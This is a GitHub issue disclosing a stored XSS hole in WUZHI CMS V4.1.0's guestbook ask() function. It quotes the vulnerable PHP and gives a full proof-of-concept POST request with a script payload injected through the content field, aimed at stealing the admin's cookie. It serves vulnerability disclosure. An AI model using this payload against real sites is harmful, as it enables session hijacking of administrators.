New issue

Jump to bottom

WUZHI CMS V4.1.0 /coreframe/app/guestbook/myissue.php stored XSS vulnerability #174

Open **donky16** opened this issue on Mar 12, 2019 · 0 comments

donky16 commented on Mar 12, 2019

> This is a stored XSS which allows attacker to insert javascript code into database. When admin see the message, attacker is able to steal admin's cookie.

Filename /coreframe/app/guestbook/myissue.php
Code

```
public function ask() {
        $formdata = array();
        $formdata['title'] = isset($GLOBALS['title']) ? remove_xss($GLOBALS['title']) : strcut($GLOBALS['content'],80);
        $formdata['content'] = remove_xss($GLOBALS['content']);
        $formdata['addtime'] = SYS_TIME;
        $formdata['publisher'] = $this->memberinfo['username'];
        $formdata['ip'] = get_ip();
        $this->db->insert('guestbook', $formdata);
        MSG('您的提问已经提交，我们的专家会尽快给您回复',$GLOBALS['forward']);
    }
```

Exploit
When we post data without parameter `title` , there will be 80 chars we can use to write payload.
POC

```
POST /wuzhi/www/index.php?m=guestbook&f=myissue&v=ask HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/wuzhi/www/index.php?m=guestbook&f=myissue&v=newask&set_iframe=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 195
Connection: close
Cookie: PHPSESSID=k3hg1nrarp7qrjke4vuas6qkd7;
GkP_auth=Q5z1uumP3fAV7fDKVbo5FU6apF6hQ7g9OKlRM1CGAD4bOBq6RkTPc5RObAeekXPG%2Ft8%2B71jt9FSBitASjEIHgYNo82ld56FSW0AHfJpXYdb6x4irVUUZNA%3D%3D; GkP__uid=hbE7FX8tL26Fe0bidYepPQ%3D%3D;
GkP__username=KwX1%2Fxspl5hmfDne9R%2FMQQ%3D%3D; GkP__groupid=%2BFfmOH1E1TGyFg%2BKja4uQQ%3D%3D; GkP_truename=aaaa; GkP_modelid=10
Upgrade-Insecure-Requests: 1

content=%3Cscript%3Ealert%281%29%3B%3C/script%3Esdf&forward=http%3A%2F%2Flocalhost%2Fwuzhi%2Fwww%2Findex.php%3Fm%3Dguestbook%26f%3Dmyissue%26v%3Dlisting%26set_iframe%3D1&submit=%E6%8F
```

Result

Assignees
No one assigned

Labels
None yet

Projects
None yet

Milestone
No milestone

Development
No branches or pull requests

1 participant